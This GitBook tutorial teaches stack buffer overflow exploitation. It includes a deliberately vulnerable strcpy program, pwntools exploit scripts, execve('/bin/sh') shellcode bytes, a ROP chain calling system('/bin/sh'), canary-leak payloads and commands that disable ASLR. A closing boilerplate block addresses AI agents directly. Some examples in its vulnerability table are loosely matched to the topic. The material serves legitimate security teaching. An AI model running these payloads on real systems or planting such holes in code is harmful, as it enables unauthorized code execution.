> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/04.-stack-overflow/01.-readme.md).

# Stack Overflow Vulnerability — Complete Theory Guide

> From zero to understanding one of the most fundamental low-level security vulnerabilities.

## Table of Contents

1. [What is Memory?](#1-what-is-memory)
2. [Memory Layout of a Process](#2-memory-layout-of-a-process)
3. [What is the Stack?](#3-what-is-the-stack)
4. [How the Stack Works — Step by Step](#4-how-the-stack-works--step-by-step)
5. [Stack Frames Explained](#5-stack-frames-explained)
6. [Key CPU Registers](#6-key-cpu-registers)
7. [What is a Buffer?](#7-what-is-a-buffer)
8. [What is a Stack Overflow / Stack Buffer Overflow?](#8-what-is-a-stack-overflow--stack-buffer-overflow)
9. [Why Is This Dangerous?](#9-why-is-this-dangerous)
10. [A Classic Vulnerable C Program](#10-a-classic-vulnerable-c-program)
11. [Anatomy of the Attack](#11-anatomy-of-the-attack)
12. [What is Shellcode?](#12-what-is-shellcode)
13. [Common Exploitation Techniques](#13-common-exploitation-techniques)
14. [Modern Defenses (Mitigations)](#14-modern-defenses-mitigations)
15. [Bypassing Mitigations — Overview](#15-bypassing-mitigations--overview)
16. [Real-World Examples](#16-real-world-examples)
17. [Tools Used in Research & CTF](#17-tools-used-in-research--ctf)
18. [Practice Labs & Resources](#18-practice-labs--resources)
19. [Quick Reference Cheat Sheet](#19-quick-reference-cheat-sheet)

## 1. What is Memory?

Memory (RAM — Random Access Memory) is a temporary storage area where a running program keeps its data, instructions, and state.

Think of memory as a giant array of numbered boxes (addresses). Each box holds **1 byte** of data. The CPU reads from and writes to these boxes using their numeric addresses.

```
Address   Value
0x0000    0x4A
0x0001    0x3F
0x0002    0x00
0x0003    0xFF
...
```

Memory is organized into regions. When your operating system runs a program (a **process**), it gives that process a chunk of memory with a specific layout.

***

## 2. Memory Layout of a Process

When a program is loaded and executed, the OS divides the process's virtual address space into distinct regions:

```
High Addresses  ┌──────────────────────────┐
                │         STACK            │  ← grows downward ↓
                │    (local vars, frames)  │
                ├──────────────────────────┤
                │           ↓              │
                │        (gap)             │
                │           ↑              │
                ├──────────────────────────┤
                │          HEAP            │  ← grows upward ↑
                │   (dynamic allocations)  │
                ├──────────────────────────┤
                │      BSS Segment         │  ← uninitialized globals
                ├──────────────────────────┤
                │      Data Segment        │  ← initialized globals/statics
                ├──────────────────────────┤
                │      Text Segment        │  ← program code (read-only)
Low Addresses   └──────────────────────────┘
```

| Segment   | Purpose                                                 |
| --------- | ------------------------------------------------------- |
| **Text**  | The compiled machine code instructions of the program   |
| **Data**  | Initialized global/static variables (`int x = 5;`)      |
| **BSS**   | Uninitialized global/static variables (`int y;`)        |
| **Heap**  | Dynamically allocated memory (`malloc`, `new`)          |
| **Stack** | Function call frames, local variables, return addresses |

> **Key Insight:** The Stack grows **downward** (toward lower addresses). This is crucial for understanding stack overflow attacks.

***

## 3. What is the Stack?

The **stack** is a region of memory used to manage function calls and local variables. It follows the **LIFO** (Last In, First Out) principle — like a stack of plates.

Operations on the stack:

* **PUSH** — place data on top (stack pointer moves down)
* **POP** — remove data from top (stack pointer moves up)

```
         Stack (grows downward)
         ┌─────────────────┐
         │   main() frame  │  ← bottom (first function called)
         ├─────────────────┤
         │   foo() frame   │
         ├─────────────────┤
         │   bar() frame   │  ← top (most recently called)
         └─────────────────┘
              ↓ grows this way
```

The CPU has a special register called the **Stack Pointer (SP / RSP / ESP)** that always points to the **current top of the stack**.

***

## 4. How the Stack Works — Step by Step

Consider this simple C code:

```c
int add(int a, int b) {
    int result = a + b;
    return result;
}

int main() {
    int x = add(3, 4);
    return 0;
}
```

### Step-by-step execution:

**Step 1 — `main()` starts** The OS creates a stack frame for `main`. Local variables of `main` are pushed.

**Step 2 — `add(3, 4)` is called**

1. Arguments `3` and `4` are pushed onto the stack (or placed in registers, depending on calling convention).
2. The **return address** (address of the instruction in `main` to return to after `add` finishes) is pushed onto the stack.
3. The current **base pointer** (frame pointer) is saved.
4. A new stack frame for `add()` is created.
5. Local variable `result` is allocated on the stack.

**Step 3 — `add()` returns**

1. Return value is placed in a register (e.g., `EAX`/`RAX`).
2. The stack frame for `add()` is destroyed (stack pointer moves back up).
3. The **return address** is popped and the CPU jumps to it — back into `main`.

***

## 5. Stack Frames Explained

Each function call creates a **stack frame** (also called an **activation record**). It typically contains:

```
┌─────────────────────────┐  ← Higher addresses
│    Function Arguments   │  (pushed by caller)
├─────────────────────────┤
│     Return Address      │  ← WHERE to go back after function ends ★
├─────────────────────────┤
│   Saved Base Pointer    │  (old EBP/RBP value)
├─────────────────────────┤  ← EBP / RBP points here
│    Local Variables      │  ← e.g., char buf[64]
│         ...             │
└─────────────────────────┘  ← ESP / RSP points here (top of stack)
         ↓ grows downward
```

> ★ The **Return Address** is the crown jewel. If an attacker can overwrite it, they control where the CPU goes next — giving them code execution.

***

## 6. Key CPU Registers

| Register (x86 / x64) | Purpose                                                         |
| -------------------- | --------------------------------------------------------------- |
| **EIP / RIP**        | Instruction Pointer — points to the NEXT instruction to execute |
| **ESP / RSP**        | Stack Pointer — points to the TOP of the stack                  |
| **EBP / RBP**        | Base Pointer — points to the BASE of the current stack frame    |
| **EAX / RAX**        | Accumulator — general purpose, holds return values              |

Understanding these registers is essential for exploitation:

* Overwriting **EIP/RIP** → redirect execution to attacker's code
* Overwriting **EBP/RBP** → can manipulate where the base pointer is restored, leading to indirect control

***

## 7. What is a Buffer?

A **buffer** is a contiguous block of memory allocated to hold data of a fixed size.

```c
char name[64];   // buffer of 64 bytes on the stack
int  nums[10];   // buffer of 10 integers (40 bytes) on the stack
```

Buffers have **fixed capacity**. The problem arises when code allows writing **more data than the buffer can hold** — without checking the size.

***

## 8. What is a Stack Overflow / Stack Buffer Overflow?

A **stack buffer overflow** occurs when a program writes more data into a stack-based buffer than it was allocated to hold, causing the excess data to **overflow into adjacent memory on the stack**.

### Simple mental model:

```
Buffer is 8 bytes. Attacker writes 20 bytes.

Before overflow:
[ buf[0..7] ][ saved EBP ][ return address ]

After overflow with 20 bytes "AAAAAAAAAAAAAAAAAAAAAAAA":
[ AAAAAAAA ][ AAAAAAAA  ][ AAAAAAAA      ]
                            ^^^^^^^^^^^^^^^^^
                         Return address OVERWRITTEN!
```

The extra bytes written past `buf` stomp over the **saved base pointer** and then the **return address**.

When the function returns, it pops the (now corrupted) return address and jumps to it. If the attacker controls those bytes, they control where execution goes.

### The vulnerable function family (C):

| Function                 | Vulnerable? | Why                                  |
| ------------------------ | ----------- | ------------------------------------ |
| `gets(buf)`              | ✅ YES       | No length check at all               |
| `strcpy(dst, src)`       | ✅ YES       | Copies until `\0`, no bounds         |
| `strcat(dst, src)`       | ✅ YES       | Appends without bounds check         |
| `scanf("%s", buf)`       | ✅ YES       | `%s` reads unlimited input           |
| `sprintf(buf, fmt, ...)` | ✅ YES       | May write past buffer                |
| `fgets(buf, n, fp)`      | ✅ Safer     | Has length limit `n`                 |
| `strncpy(dst, src, n)`   | ✅ Safer     | Has limit but may not null-terminate |

***

## 9. Why Is This Dangerous?

A stack buffer overflow can allow an attacker to:

1. **Crash the program** (Denial of Service) — corrupted return address → segfault
2. **Redirect execution** — overwrite return address to jump to attacker-controlled code
3. **Execute arbitrary shellcode** — inject malicious machine code into the buffer itself and jump to it
4. **Gain privilege escalation** — if the vulnerable program runs as root/Administrator, attacker gets root shell
5. **Bypass authentication** — overwrite local variables that store auth state

This is why programs like `setuid` root binaries, network daemons, and kernel drivers are high-value targets.

***

## 10. A Classic Vulnerable C Program

```c
#include <stdio.h>
#include <string.h>

void secret() {
    printf("You should not be here!\n");
    // In a real exploit: system("/bin/sh");
}

void vulnerable(char *input) {
    char buf[64];        // Only 64 bytes allocated
    strcpy(buf, input);  // No bounds check! VULNERABLE
    printf("You entered: %s\n", buf);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    vulnerable(argv[1]);
    return 0;
}
```

### Stack layout during `vulnerable()`:

```
┌────────────────────┐  Higher addresses
│   argv[1] pointer  │  (argument to vulnerable())
├────────────────────┤
│   Return Address   │  ← address in main() to return to  ★ TARGET
├────────────────────┤
│   Saved EBP        │  ← old base pointer
├────────────────────┤  ← EBP points here
│   buf[63]          │
│   ...              │
│   buf[1]           │
│   buf[0]           │  ← strcpy starts writing here
└────────────────────┘  Lower addresses (ESP)
```

Normal input of "Hello" → no problem. Input of 80 bytes → overflows buf (64 bytes), overwrites saved EBP (4/8 bytes), overwrites return address.

***

## 11. Anatomy of the Attack

### Phase 1 — Reconnaissance

Find the exact **offset** to the return address.

```
Offset = size of buffer + size of saved EBP
       = 64 + 4 (32-bit) or 64 + 8 (64-bit)
       = 68 bytes (32-bit) before we reach the return address
```

Use **pattern generation** tools (like `cyclic` from pwntools or `pattern_create` from Metasploit) to find the exact offset:

```python
from pwn import *
pattern = cyclic(200)         # Generate a De Bruijn sequence
# Run program with pattern, observe crash address
# Then find offset:
offset = cyclic_find(0x61616166)  # the value in EIP at crash
```

### Phase 2 — Craft the Payload

```
payload = [padding] + [new return address]
        = "A" * offset + pack(target_address)
```

```python
from pwn import *

offset = 68
target = 0x08048456   # address of secret() function

payload  = b"A" * offset          # fill buffer + saved EBP
payload += p32(target)            # overwrite return address (little-endian)

# Send payload
p = process('./vulnerable')
p.sendline(payload)
p.interactive()
```

### Phase 3 — Win

When `vulnerable()` returns:

1. It pops the overwritten return address (`0x08048456`) into EIP.
2. CPU jumps to `secret()`.
3. Attacker achieves code execution.

***

## 12. What is Shellcode?

**Shellcode** is a small piece of machine code (raw bytes) that an attacker injects into the buffer and then redirects execution to. It's called "shellcode" because the classic payload spawns a shell (`/bin/sh`).

Classic x86 Linux shellcode to spawn `/bin/sh`:

```asm
xor  eax, eax       ; eax = 0
push eax            ; push null terminator
push 0x68732f2f     ; push "//sh"
push 0x6e69622f     ; push "/bin"
mov  ebx, esp       ; ebx = pointer to "/bin//sh"
mov  ecx, eax       ; ecx = 0 (no args)
mov  edx, eax       ; edx = 0 (no env)
mov  al, 11         ; syscall number for execve
int  0x80           ; make syscall
```

In raw bytes (hex): `\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80`

### Classic payload structure (NOP sled):

```
[ NOP sled (0x90 bytes) ][ Shellcode ][ Return Address → somewhere in NOP sled ]
```

The **NOP sled** (`\x90` = No Operation) is a sequence of instructions that do nothing. It increases the probability of landing in the shellcode even if the exact address isn't perfect.

```
[0x90 0x90 0x90 ... 0x90][shellcode][ret addr → 0x90 region]
```

***

## 13. Common Exploitation Techniques

### 13.1 — ret2win (Return to a Win Function)

Redirect EIP to an existing function in the binary (like `secret()` or `system()`). No need to inject code.

```
payload = padding + address_of_win_function
```

### 13.2 — ret2libc (Return to libc)

Instead of injecting shellcode, redirect to a library function like `system()` with `/bin/sh` as argument.

```
payload = padding + addr(system) + fake_return + addr("/bin/sh")
```

Useful when the stack is non-executable (NX/DEP enabled).

### 13.3 — ROP (Return-Oriented Programming)

Chain together small snippets of existing code ending in `ret` (called **gadgets**) to build arbitrary computation.

```
payload = padding + gadget1 + gadget2 + gadget3 + ...
```

This bypasses NX because you're using code already in memory (not injecting new code).

### 13.4 — Stack Pivoting

Redirect the stack pointer (ESP/RSP) to attacker-controlled memory, then use ROP chains from there.

### 13.5 — Format String + Stack Overflow (Combined)

Sometimes a format string vulnerability is used first to leak addresses (defeat ASLR), then a stack overflow is used for the actual control-flow hijack.

***

## 14. Modern Defenses (Mitigations)

Modern systems have multiple layers of defense. As a security researcher, you must understand all of them.

### 14.1 — Stack Canary (Stack Smashing Protector / SSP)

A random **canary value** is placed on the stack between local variables and the return address. Before the function returns, the canary is checked. If it changed → abort.

```
[ buf ][ CANARY ][ saved EBP ][ return address ]
```

Enabled with: `gcc -fstack-protector`

Detected by: `checksec ./binary` → `CANARY: Enabled`

### 14.2 — NX / DEP (Non-Executable Stack)

The stack is marked as **non-executable** at the hardware level (via the NX bit in page table entries). Injecting shellcode onto the stack and jumping to it results in a hardware fault — not execution.

Modern CPUs: Intel XD bit, AMD NX bit.

Enabled by default on most modern systems.

Bypassed by: **ret2libc**, **ROP**.

### 14.3 — ASLR (Address Space Layout Randomization)

The OS randomizes the base addresses of the **stack, heap, and shared libraries** every time a program runs. The attacker cannot hardcode addresses.

```bash
cat /proc/sys/kernel/randomize_va_space
# 2 = full ASLR enabled
# 0 = disabled
```

Bypassed by: **information leaks** (format strings, use-after-free) to reveal addresses at runtime, **brute force** (32-bit only, small entropy), **ret2plt**.

### 14.4 — PIE (Position Independent Executable)

The **entire binary** (not just libraries) is loaded at a random address each run. Even gadgets inside the binary have unpredictable addresses.

Bypassed by: leaking a code pointer from the binary.

### 14.5 — RELRO (Relocation Read-Only)

Makes certain memory regions (like the GOT — Global Offset Table) read-only after program startup, preventing attackers from overwriting function pointers there.

* **Partial RELRO** — GOT partially protected
* **Full RELRO** — entire GOT is read-only

### 14.6 — Control Flow Integrity (CFI)

Hardware/compiler-level checks that verify `call` and `ret` targets are valid. Makes ROP chains much harder.

Examples: Intel CET (Control-flow Enforcement Technology), LLVM CFI.

### Summary Table

| Mitigation   | Protects Against         | Bypass Technique                               |
| ------------ | ------------------------ | ---------------------------------------------- |
| Stack Canary | Basic stack smashing     | Canary leak, overwrite without touching canary |
| NX / DEP     | Shellcode injection      | ret2libc, ROP                                  |
| ASLR         | Hardcoded addresses      | Info leak, brute force (32-bit)                |
| PIE          | Hardcoded code addresses | Code pointer leak                              |
| Full RELRO   | GOT overwrites           | N/A (still need other leaks)                   |
| CFI          | ROP chains               | Advanced CFI bypasses                          |

***

## 15. Bypassing Mitigations — Overview

### Bypassing Stack Canary

**Option A — Leak the canary** via a format string vulnerability or an off-by-one read.

```python
# If a format string bug exists:
# %11$p might print the canary value
# Then include the leaked canary in your payload:
payload = b"A" * offset_to_canary
payload += leaked_canary         # correct canary value (not corrupted)
payload += b"B" * 8              # overwrite saved RBP
payload += p64(target_address)   # overwrite return address
```

**Option B — Overwrite without touching canary** (rare, e.g., off-by-one writes only partial data).

### Bypassing ASLR + NX Together

1. Use a **format string bug** or **partial overwrite** to leak a libc address.
2. Calculate **libc base** = leaked address - known offset.
3. Compute addresses of `system()` and `/bin/sh` string:

   ```python
   libc_base   = leaked_addr - libc.symbols['puts']
   system_addr = libc_base + libc.symbols['system']
   binsh_addr  = libc_base + next(libc.search(b'/bin/sh'))
   ```
4. Build a ROP chain that calls `system("/bin/sh")`.

### Basic ROP Chain (64-bit)

In 64-bit Linux, the first argument to a function goes in the `RDI` register. So to call `system("/bin/sh")`:

```python
# Need: pop rdi; ret gadget
# Use ROPgadget or ropper to find it:
# ROPgadget --binary ./vuln | grep "pop rdi"

pop_rdi = 0x00401234   # address of "pop rdi; ret" gadget
binsh   = 0x...        # address of "/bin/sh" in libc
system  = 0x...        # address of system() in libc

payload  = b"A" * offset
payload += p64(pop_rdi)  # pop rdi; ret
payload += p64(binsh)    # "/bin/sh" goes into rdi
payload += p64(system)   # call system("/bin/sh")
```

***

## 16. Real-World Examples

| Vulnerability                  | Year | Target         | Impact                                  |
| ------------------------------ | ---- | -------------- | --------------------------------------- |
| **Morris Worm**                | 1988 | Unix `fingerd` | First internet worm, exploited `gets()` |
| **MS-RPC DCOM (MS03-026)**     | 2003 | Windows RPC    | Blaster worm, millions infected         |
| **OpenSSH CRC-32**             | 2001 | OpenSSH        | Remote root on Linux                    |
| **Heartbleed (CVE-2014-0160)** | 2014 | OpenSSL        | Memory disclosure (heap, not stack)     |
| **EternalBlue (MS17-010)**     | 2017 | Windows SMB    | WannaCry ransomware                     |
| **Log4Shell (CVE-2021-44228)** | 2021 | Log4j          | Remote code execution                   |
| **CVE-2022-42703**             | 2022 | Linux kernel   | Stack-based overflow in mm subsystem    |

The Morris Worm (1988) is historically the first major exploitation of a stack overflow — it used `gets()` in the `fingerd` daemon to gain remote shell access.

***

## 17. Tools Used in Research & CTF

### Analysis

| Tool                | Purpose                                           |
| ------------------- | ------------------------------------------------- |
| `checksec`          | Check binary mitigations (canary, NX, PIE, RELRO) |
| `file`              | Determine binary architecture (32/64-bit, ELF/PE) |
| `objdump -d`        | Disassemble binary                                |
| `readelf`           | Read ELF headers, sections, symbols               |
| `strings`           | Find human-readable strings in binary             |
| `ltrace` / `strace` | Trace library/syscall calls at runtime            |

### Debugging

| Tool                 | Purpose                                                  |
| -------------------- | -------------------------------------------------------- |
| **GDB**              | GNU Debugger — step through execution                    |
| **pwndbg**           | GDB plugin for exploit development (heap, stack display) |
| **peda**             | GDB plugin with pattern generation                       |
| **PWNDBG + GEF**     | Enhanced GDB UI for binary exploitation                  |
| **Ghidra**           | NSA's free reverse engineering tool                      |
| **IDA Pro**          | Industry-standard disassembler/decompiler                |
| **Binary Ninja**     | Modern reversing tool                                    |
| **Radare2 / Cutter** | Open source reverse engineering framework                |

### Exploitation

| Tool                  | Purpose                          |
| --------------------- | -------------------------------- |
| **pwntools** (Python) | CTF exploit development library  |
| **ROPgadget**         | Find ROP gadgets in binaries     |
| **ropper**            | Alternative ROP gadget finder    |
| **one\_gadget**       | Find `execve` one-gadget in libc |
| **Metasploit**        | Penetration testing framework    |
| **exploit-db**        | Database of public exploits      |

### Example pwntools Template

```python
from pwn import *

# Configuration
context.binary = elf = ELF('./vulnerable')
context.arch = 'amd64'
context.log_level = 'info'

# Connect
p = process('./vulnerable')       # local
# p = remote('ctf.example.com', 1337)  # remote

# Find offset
# Run: cyclic(200) as input, note crash RIP, find offset:
offset = 72

# Build payload
payload  = flat(
    b"A" * offset,
    elf.sym['secret']    # or ROP chain
)

# Send
p.sendlineafter(b'Input: ', payload)
p.interactive()
```

***

## 18. Practice Labs & Resources

### CTF Platforms (Legal, intentionally vulnerable)

| Platform              | URL               | Notes                                      |
| --------------------- | ----------------- | ------------------------------------------ |
| **pwn.college**       | pwn.college       | Best structured binary exploitation course |
| **picoCTF**           | picoctf.org       | Beginner-friendly CTF                      |
| **pwnable.kr**        | pwnable.kr        | Korean CTF with pwn challenges             |
| **pwnable.tw**        | pwnable.tw        | Advanced pwn challenges                    |
| **HackTheBox**        | hackthebox.com    | Real-world-like machines                   |
| **TryHackMe**         | tryhackme.com     | Guided learning paths                      |
| **exploit.education** | exploit.education | VMs designed for learning exploitation     |
| **ROP Emporium**      | ropemporium.com   | Dedicated ROP chain challenges             |

### Intentionally Vulnerable Programs to Study

* **protostar** (from exploit.education)
* **DVWA** (Damn Vulnerable Web Application)
* **pwn challenges** from any CTF archive (CTFtime.org)

### Books

| Book                                      | Author                | Level                 |
| ----------------------------------------- | --------------------- | --------------------- |
| *Hacking: The Art of Exploitation*        | Jon Erickson          | Beginner–Intermediate |
| *The Shellcoder's Handbook*               | Koziol et al.         | Intermediate          |
| *The Art of Software Security Assessment* | Dowd, McDonald, Schuh | Advanced              |

### Online Courses / Guides

* LiveOverflow YouTube channel — excellent visual binary exploitation explanations
* ir0nstone's pwn notes — gitbook with structured pwn theory
* Nightmare CTF repo — organized binary exploitation CTF challenges with writeups

***

## 19. Quick Reference Cheat Sheet

### Finding Offset

```bash
# GDB with PEDA
pattern_create 200
run < pattern_file
pattern_offset $eip

# Pwntools
cyclic(200)
cyclic_find(0x61616166)
```

### Check Protections

```bash
checksec ./binary
# OR
readelf -l ./binary | grep GNU_STACK
```

### Disable Mitigations (Testing Only)

```bash
# Compile without protections (for learning):
gcc -o vuln vuln.c \
    -fno-stack-protector \   # disable canary
    -z execstack \           # make stack executable
    -no-pie \                # disable PIE
    -m32                     # 32-bit binary

# Disable ASLR system-wide (requires root, testing only):
echo 0 > /proc/sys/kernel/randomize_va_space
```

### GDB Commands

```bash
gdb ./binary
break main          # set breakpoint
run                 # start program
info registers      # show registers
x/20x $esp          # examine 20 hex words at stack pointer
x/s 0x08048400      # examine string at address
stepi               # step one instruction
continue            # continue to next breakpoint
disassemble func    # disassemble a function
```

### pwntools Quick Reference

```python
from pwn import *
p32(0xdeadbeef)          # pack 32-bit little-endian
p64(0xdeadbeef)          # pack 64-bit little-endian
u32(b'\xef\xbe\xad\xde') # unpack 32-bit
flat(b"A"*64, p64(addr)) # combine bytes
```

***

## Summary — The Full Attack Chain

```
1. FIND vulnerable input (gets, strcpy, scanf %s, etc.)
        ↓
2. DETERMINE offset to return address
   (buffer size + saved EBP size)
        ↓
3. CHECK mitigations (checksec)
        ↓
4. LEAK addresses if ASLR/PIE enabled
   (format string, info disclosure, etc.)
        ↓
5. BUILD payload:
   [padding] + [canary if needed] + [saved RBP] + [new return address / ROP chain]
        ↓
6. SEND payload → overwrite return address
        ↓
7. FUNCTION RETURNS → CPU jumps to attacker-controlled address
        ↓
8. SHELLCODE EXECUTES / ROP CHAIN RUNS → shell obtained
```

***

> **⚠️ Legal & Ethical Notice**
>
> This document is for **educational purposes only**. Apply these techniques **only on systems you own or have explicit written permission to test**. Unauthorized exploitation of systems is illegal under the Computer Fraud and Abuse Act (CFAA), the UK Computer Misuse Act, and equivalent laws worldwide. Use this knowledge to build safer software and practice on intentionally vulnerable platforms.

***

*Last updated: 2025 | Architecture focus: x86 / x86-64 Linux*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/04.-stack-overflow/01.-readme.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
